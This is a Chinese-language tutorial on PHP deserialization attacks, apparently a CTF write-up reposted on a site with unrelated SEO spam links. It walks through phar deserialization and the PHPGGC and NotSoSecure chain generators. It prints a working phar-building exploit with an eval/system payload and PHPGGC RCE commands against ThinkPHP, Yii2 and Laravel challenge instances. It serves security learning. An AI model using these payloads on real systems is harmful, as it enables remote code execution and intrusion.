当前位置: 首页 > wzjs >正文

品牌手机网站建设seo友情链接

品牌手机网站建设,seo友情链接,重庆网站推广免费软件,设计师常用的图片网站知识点: 1、PHP-反序列化-Phar反序列化 2、PHP-反序列化-框架反序列化链生成项目 3、PHP-反序列化-框架反序列化利用 一、演示案例-WEB攻防-PHP反序列化-Phar反序列化 解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个…

知识点:
1、PHP-反序列化-Phar反序列化
2、PHP-反序列化-框架反序列化链生成项目
3、PHP-反序列化-框架反序列化利用

一、演示案例-WEB攻防-PHP反序列化-Phar反序列化

解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

在这里插入图片描述
原理:PHP文件系统函数在通过伪协议解析phar文件时,都会将 meta-data进行反序列化操作,受影响的函数如上图;所以当这些函数接收到伪协议处理到 phar 文件的时候,Meta-data 里的序列化字符串就会被反序列化,实现不使用unserialize()函数实现反序列化操作。

利用条件
1.phar文件(任意后缀都可以)能上传至服务器。
2.存在受影响函数,存在可以利用的魔术方法。

1、Demo

在这里插入图片描述

生成Phar文件生成Phar文件需要注意:
php.ini中将Phar.readonly设置为off

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、[HNCTF 2022 WEEK3]ez_phar

在这里插入图片描述

POP链生成phar文件
<?php
class Flag{public $code;public function __destruct(){// TODO: Implement __destruct() method.eval($this->code);}
}
$a=new Flag();
$a->code="system('cat /ffflllaaaggg');";
$phar = new Phar("exp6.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

在这里插入图片描述
upload.php上传文件引用访问触发
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、白盒代码审计案例

https://mp.weixin.qq.com/s/2wzaXIpJgYSNnkJgRNUSEg
https://mp.weixin.qq.com/s/Z24A3LYn6P3276v7GqPw4w

二、演示案例-WEB攻防-PHP反序列化-框架反序列化链生成项目

框架类的反序列化及对应POP链编写是非常复杂的。比CTF那种原生态反序列化源码难很多很多。

利用场景:
当知道目标使用了某个框架及对应版本并且这个框架版本曝过反序列漏洞,那么就可以尝试利用该项目去生成反序列链。

1、NotSoSecure(综合类) 网页版

项目地址:https://github.com/NotSoSecure/SerializedPayloadGenerator

为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.

Java – YSoSerial
NET – YSoSerial.NET
PHP – PHPGGC //这个用不了
Python - 原生

如何搭建

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
如果还不行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、PHPGGC(PHP框架单项类) 命令版本

项目地址:https://github.com/ambionics/phpggc
只有linux版本,可以放本地kali上运行。
PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoffysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。

三、演示案例-WEB攻防-PHP反序列化-框架反序列化利用

1、[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化-PHPGGC

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

./phpggc ThinkPHP/RCE4 system 'cat /flag' --url

在这里插入图片描述

http://d67438dd-6483-4c05-bc40-1095050b015a.node4.buuoj.cn:81///public/?payload=

在这里插入图片描述
在这里插入图片描述

2、CTFSHOW 反序列化 267 Yii2反序列化-PHPGGC

弱口令admin/admin登录后源码提示泄漏
在这里插入图片描述

GET:index.php?r=site%2Fabout&view-source

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64

在这里插入图片描述

GET:/index.php?r=backdoor/shell&code=

在这里插入图片描述
在这里插入图片描述

3、CTFSHOW 反序列化 271 Laravel反序列化-PHPGGC

在这里插入图片描述
在这里插入图片描述
但是代码中并没有发现Laravel具体版本,没办法就只能一个一个试呗。
在这里插入图片描述

./phpggc Laravel/RCE2 system "id" --url

在这里插入图片描述
在这里插入图片描述

http://www.dtcms.com/wzjs/530134.html

相关文章:

  • 暖通设计网站推荐网站推广软件下载安装免费
  • 思源黑体可以做网站网络销售的工作内容
  • 外贸网站建设报价关键词搜索
  • 杨浦网站建设成都搜索优化排名公司
  • 网站建设 的类型有哪些企业邮箱格式
  • 高校网站建设存在的问题搜索引擎优化的常用方法
  • 网站备案是在哪里查谷歌seo推广服务
  • 网站后台网址忘记了 php接推广一般多少钱
  • 网上做网站过程广州seo黑帽培训
  • 哪些网站开业做简单海报中国国家培训网
  • 烟台做网站建设电话直播营销策略有哪些
  • 河南网站推广优化报价东莞seo网络公司
  • WordPress 夜间模式主题黑帽seo排名技术
  • wordpress 调用全文国外网站谷歌seo推广
  • 购买b2c网站网络营销理论包括哪些
  • 崇州企业网站建设网页设计首页
  • 国外设计教程网站深圳seo优化排名优化
  • 广州建设大马路小学网站上海有哪些优化网站推广公司
  • 宁波易通建设网站营销策划公司 品牌策划公司
  • 什么网站广告最多惠州关键词排名提升
  • 网站开发能不能用win7系统网络推广费计入什么科目
  • wordpress文件缓存焦作网站seo
  • 400全国服务热线代理顺德手机网站建设seo搜索引擎优化人员
  • 定制软件appseo排名点击手机
  • 成都有没有做网站建设的推广app的单子都在哪里接的
  • 域名只做邮箱没网站要备案吗怎么在网上推销产品
  • 网站违法和做网站得有关系凡科网站登录入口
  • 招聘网站预算怎么做时空seo助手
  • 网站建设框架怎么做软文网
  • 南宁网站建设 超博网络谷歌seo网站排名优化